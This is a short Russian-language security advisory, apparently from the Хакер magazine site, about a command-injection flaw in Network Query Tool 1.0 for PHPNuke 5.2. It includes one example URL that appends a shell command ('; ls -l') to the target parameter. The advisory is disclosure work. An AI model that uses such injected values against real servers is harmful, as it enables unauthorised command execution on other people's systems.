Удаленное выполнение команд в Network Query Tool

Рекомендуем почитать:

Хакер #305. Многошаговые SQL-инъекции

• Содержание выпуска
• Подписка на «Хакер»-60%

Network Query Tool 1.0 адаптированный к PHPNuke 5.2 - PHP
сценарий, который позволяет пользователю:

- Прямой/обратный поиск
- Поиск DNS записей
- Whois Система 
- Сканирование порта 
- Ping 
- Traceroute 

Network Query Tool не проверяет специальные
метасимволы подобно &;`'\"|*?~<>^()[]{}$\n\r.
Это позволяет любому пользователю
выполнять UNIX команды на Web сервере. 

Пример:

Выполнение команды ls -al:

http://www.TEST.com/network_query.php?portNum=80&queryType=all
&target=www.someserver.com%3Bls+-l&Submit=Do+It